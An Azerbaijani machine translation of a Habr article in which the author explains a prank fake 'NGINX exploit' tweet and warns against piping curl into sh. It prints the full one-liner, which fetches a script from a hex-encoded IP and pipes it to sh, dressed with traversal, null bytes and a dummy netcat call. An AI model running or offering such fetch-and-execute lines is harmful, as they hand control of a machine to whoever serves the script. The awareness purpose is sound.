Qeyd. tərcümə.:
TL; DR: Heç bir halda sh və ya bash-da fayl kəmərini istifadə etməyin. Bu, kompüterinizə nəzarəti itirmək üçün əla bir yoldur.
Mən sizinlə 31 Mayda yaradılmış komik PoC istismarı haqqında qısa hekayəni bölüşmək istəyirəm. O, gələn xəbərlərə dərhal cavab verdi
Curl-da yeni çaşqınlıq texnikası üzərində işi bitirdikdən sonra orijinal tvitdən sitat gətirdim və aşkar edilmiş zəiflikdən istifadə etdiyi güman edilən bir kod sətirindən ibarət “işləyən PoC-ni sızdırdım”. Təbii ki, bu tamamilə cəfəngiyyat idi. Dərhal ifşa olunacağımı və ən yaxşı halda bir neçə retweet alacağımı güman edirdim (yaxşı).
Ancaq bundan sonra nə baş verdiyini təsəvvür edə bilmədim. Tvitimin populyarlığı fırladı. Təəccüblüdür ki, hazırda (15 iyun Moskva vaxtı ilə 00:1) az adam bunun saxta olduğunu başa düşüb. Bir çox insan onu heç yoxlamadan retweet edir (çıxdığı gözəl ASCII qrafikasına heyran qalmağı bir yana qoyaq).
Görün necə gözəldir!
Bütün bu döngələr və rənglər əla olsa da, aydındır ki, insanlar onları görmək üçün maşınlarında kod işlətməli idilər. Xoşbəxtlikdən, brauzerlər eyni şəkildə işləyir və həqiqətən hüquqi problemə düşmək istəmədiyim faktla birlikdə, saytımda basdırılmış kod hər hansı əlavə kodu quraşdırmaq və ya icra etməyə çalışmadan sadəcə əks-səda zəngləri edirdi.
Kiçik sapma:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Sosial-elektron mühəndislik (SEE) - yalnız fişinqdən daha çox
Təhlükəsizlik və tanışlıq bu təcrübənin əsas hissəsi idi. Düşünürəm ki, onlar onun uğurlarına səbəb olub. Komanda xətti açıq şəkildə "127.0.0.1" (məşhur localhost) istinad edərək təhlükəsizliyi nəzərdə tuturdu. Localhost təhlükəsiz sayılır və ondakı məlumatlar heç vaxt kompüterinizi tərk etmir.
Tanışlıq təcrübənin ikinci əsas SEE komponenti idi. Hədəf auditoriyası ilk növbədə kompüter təhlükəsizliyinin əsasları ilə tanış olan insanlardan ibarət olduğundan, onun hissələrinin tanış və tanış (və buna görə də təhlükəsiz) görünməsi üçün kod yaratmaq vacib idi. Köhnə istismar konsepsiyalarının elementlərini götürmək və onları qeyri-adi şəkildə birləşdirmək çox uğurlu olduğunu sübut etdi.
Aşağıda bir laynerin ətraflı təhlili verilmişdir. Bu siyahıdakı hər şey köhnəlir kosmetik təbiət, və onun faktiki işləməsi üçün praktiki olaraq heç bir şey tələb olunmur.
Hansı komponentlər həqiqətən lazımdır? Bu -gsS
, -O 0x0238f06a
, |sh
və veb serverin özü. Veb serverdə heç bir zərərli göstəriş yox idi, sadəcə olaraq əmrlərdən istifadə edərək ASCII qrafikasına xidmət edirdi echo
daxil olan skriptdə index.html
. İstifadəçi ilə bir xətt daxil olduqda |sh
ortasında, index.html
yüklənmiş və icra edilmişdir. Xoşbəxtlikdən, veb serverin qəyyumlarının heç bir pis niyyəti yox idi.
-
../../../%00
— kataloqdan kənara çıxmağı təmsil edir; -
ngx_stream_module.so
— təsadüfi NGINX moduluna gedən yol; -
/bin/sh%00<'protocol:TCP'
- guya işə başlayırıq/bin/sh
hədəf maşında və çıxışı TCP kanalına yönləndirin; -
-O 0x0238f06a#PLToffset
- əlavə edilmiş gizli tərkib hissəsi#PLToffset
, PLT-də olan yaddaş ofseti kimi baxmaq; -
|sh;
- başqa bir vacib fraqment. Bu ünvanda yerləşən hücum edən veb serverdən gələn kodu icra etmək üçün çıxışı sh/bash-a yönləndirmək lazım idi.0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- netcat-in istinad etdiyi dummy/dev/tcp/localhost
hər şey yenidən təhlükəsiz görünsün. Əslində, heç bir şey etmir və gözəllik xəttinə daxildir.
Bununla, bir sətirli skriptin dekodlanması və “sosial-elektron mühəndislik” (mürəkkəb fişinq) aspektlərinin müzakirəsi yekunlaşır.
Veb serverinin konfiqurasiyası və əks tədbirlər
Abunəçilərimin böyük əksəriyyəti infosec/hakerlər olduğundan, mən veb serveri onların “maraq” ifadələrinə bir az daha davamlı etmək qərarına gəldim ki, uşaqlar nəsə görsünlər (və bu, əyləncəli olardı). qurmaq). Təcrübə hələ də davam etdiyi üçün burada bütün tələləri sadalamaq fikrində deyiləm, lakin burada serverin etdiyi bir neçə şey var:
- Müəyyən sosial şəbəkələrdə paylama cəhdlərini aktiv şəkildə izləyir və istifadəçini linki tıklamağa həvəsləndirmək üçün müxtəlif önizləmə miniatürlərini əvəz edir.
- Qabıq skriptini göstərmək əvəzinə Chrome/Mozilla/Safari/etc-ni Thugcrowd tanıtım videosuna yönləndirir.
- AÇIQ müdaxilə/açıq-aşkar hakerlik əlamətlərinə baxır və sonra sorğuları NSA serverlərinə yönləndirməyə başlayır (ha!).
- İstifadəçiləri adi brauzerdən hosta baş çəkən bütün kompüterlərdə troyanı, eləcə də BIOS rootkitini quraşdırır (zarafat edir!).
Antimerlərin kiçik bir hissəsi
Bu halda mənim yeganə məqsədim Apache-nin bəzi xüsusiyyətlərini - xüsusən də sorğuların yönləndirilməsinin gözəl qaydalarını mənimsəmək idi və mən düşündüm: niyə də olmasın?
NGINX Exploit (Real!)
Abunə olun
Mənbə: www.habr.com